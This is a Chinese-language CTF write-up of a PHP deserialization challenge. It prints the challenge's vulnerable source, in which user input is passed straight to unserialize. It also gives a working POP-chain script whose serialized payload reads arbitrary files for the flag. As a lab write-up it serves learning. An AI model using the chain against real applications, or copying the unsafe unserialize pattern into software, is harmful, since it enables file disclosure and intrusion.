打开网站后提示I think you need /etc/hint . Before this you need to see the source code
说是要去访问/etc/hint
,可是也没有任意路径访问之类的东西,再看后半句,提示source code
,那么就先尝试下www.zip,结果一次成功,下载下来源码:
<meta charset="utf-8">
<?php
//hint is in hint.php
error_reporting(1);
class Start
{
public $name='guest';
public $flag='syst3m("cat 127.0.0.1/etc/hint");';
public function __construct(){
echo "I think you need /etc/hint . Before this you need to see the source code";
}
public function _sayhello(){
echo $this->name;
return 'ok';
}
public function __wakeup(){
echo "hi";
$this->_sayhello();
}
public function __get($cc){
echo "give you flag : ".$this->flag;
return ;
}
}
class Info
{
private $phonenumber=123123;
public $promise='I do';
public function __construct(){
$this->promise='I will not !!!!';
return $this->promise;
}
public function __toString(){
return $this->file['filename']->ffiillee['ffiilleennaammee'];
}
}
class Room
{
public $filename='/flag';
public $sth_to_set;
public $a='';
public function __get($name){
$function = $this->a;
return $function();
}
public function Get_hint($file){
$hint=base64_encode(file_get_contents($file));
echo $hint;
return ;
}
public function __invoke(){
$content = $this->Get_hint($this->filename);
echo $content;
}
}
if(isset($_GET['hello'])){
unserialize($_GET['hello']);
}else{
$hi = new Start();
}
?>
去网上查阅了一番,这题考察的是pop链的构造。
审计代码后,发现Room
类中的Get_hint
中可以读取任意文件,并且$filename
变量提示/flag
,那么漏洞函数找到了,只要想办法调用即可,梳理下逻辑:
想要调用Get_hint
,需要先触发__invoke
函数,__invoke
函数当尝试将对象调用为函数时触发,例如:
<?php
class CallableClass
{
function __invoke($x) {
var_dump($x);
}
}
$obj = new CallableClass;
$obj(5);
var_dump(is_callable($obj));
?>
从代码中可以看到有类似操作的地方在Room
类中的__get()
函数中,所以需要想办法调用__get()
,php manual中对于__get()
的描述:读取不可访问属性的值时,__get会被调用
。
所以需要执行Info
类中的__toString()
方法:
public function __toString(){
return $this->file['filename']->ffiillee['ffiilleennaammee'];
}
而要调用__toString()
方法,把类当作字符串使用时触发,继续查找可以看到Start
类中的_sayhello
函数:
public function _sayhello(){
echo $this->name;
return 'ok';
}
而调用_sayhello
就很简单了,就在__wakeup
函数中。
接下来就是构造pop链:
<?php
class Start
{
public $name;
public $flag='syst3m("cat 127.0.0.1/etc/hint");';
public function _sayhello(){
echo $this->name;
return 'ok';
}
public function __wakeup(){
echo "hi";
$this->_sayhello();
}
}
class Info
{
public function __toString(){
return $this->file['filename']->ffiillee['ffiilleennaammee'];
}
}
class Room
{
public $filename='hint.php';
public $a='';
public $sth_to_set;
public function __get($name){
$function = $this->a;
return $function();
}
public function Get_hint($file){
$hint=base64_encode(file_get_contents($file));
echo $hint;
return ;
}
public function __invoke(){
$content = $this->Get_hint($this->filename);
echo $content;
}
}
$a=new Start();
$b=new Info();
$c=new Room();
$b->file['filename']=$c;
$a->name=$b;
$c->a=$c;
$c->sth_to_set=$a;
echo(serialize($c))
?>
得到序列化字符串后提交,得到一串base64文本,删掉前面自带的hi,解码得到flag。说实话没想到居然能一下子getflag,第一次做这种题